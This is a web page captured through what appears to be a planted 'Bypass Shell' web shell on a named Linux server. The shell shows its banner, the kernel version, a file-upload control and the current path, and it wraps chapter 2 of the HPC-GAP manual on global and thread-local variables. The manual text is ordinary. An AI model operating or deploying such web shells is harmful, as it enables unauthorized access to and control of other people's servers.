Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /usr/share/gap/doc/hpc/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : //usr/share/gap/doc/hpc/chap2.txt

  
  2 Variables in HPC-GAP
  
  Variables  with  global  scope have revised semantics in HPC-GAP in order to
  address  concurrency  issues.  The normal semantics of global variables that
  are only accessed by a single thread remain unaltered.
  
  
  2.1 Global variables
  
  Global  variables  in  HPC-GAP  can  be accessed by all threads concurrently
  without  explicit  synchronization. Concurrent access is safe, but it is not
  deterministic.  If  multiple  threads  attempt  to  modify  the  same global
  variable  simultaneously,  the resulting value of the variable is random; it
  will  be  one  of  the  values assigned by a thread, but it is impossible to
  predict with certainty which specific one will be assigned.
  
  
  2.2 Thread-local variables
  
  HPC-GAP   supports   the  notion  of  thread-local  variables.  Thread-local
  variables  are  (after  being  declared  as such) accessed and modified like
  global variables. However, unlike global variables, each thread can assign a
  distinct value to a thread-local variable.
  
    Example  
    gap> MakeThreadLocal("x");
    gap> x := 1;;
    gap> WaitTask(RunTask(function() x := 2; end));
    gap> x;
    1
  
  
  As  can  be  seen  here,  the  assignment to x in a separate thread does not
  overwrite the value of x in the main thread.
  
  2.2-1 MakeThreadLocal
  
  MakeThreadLocal( name )  function
  
  MakeThreadLocal   makes   the  variable  described  by  the  string  name  a
  thread-local variable. It normally does not give it an initial value; either
  explicit  per-thread  assignment  or  a  call  to BindThreadLocal (2.2-2) or
  BindThreadLocalConstructor (2.2-3) to provide a default value is necessary.
  
  If  a  global variable with the same name exists and is bound at the time of
  the   call,  its  value  will  be  used  as  the  default  value  as  though
  BindThreadLocal  (2.2-2)  had  been  called  with  that  value as its second
  argument.
  
  2.2-2 BindThreadLocal
  
  BindThreadLocal( name, obj )  function
  
  BindThreadLocal gives the thread-local variable described by the string name
  the  default value obj. The first time the thread-local variable is accessed
  in  a  thread  thereafter,  it will yield obj as its value if it hasn't been
  assigned a specific value yet.
  
  2.2-3 BindThreadLocalConstructor
  
  BindThreadLocalConstructor( name, func )  function
  
  BindThreadLocal  (2.2-2)  gives  the  thread-local variable described by the
  string  name  the constructor func. The first time the thread-local variable
  is  accessed in a thread thereafter, it will yield func() as its value if it
  hasn't been assigned a specific value yet.
  
  2.2-4 ThreadVar
  
  ThreadVar global variable
  
  All  thread-local variables are stored in the thread-local record ThreadVar.
  Thus,  if  x  is  a  thread-local variable, using ThreadVar.x is the same as
  using x.
  

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net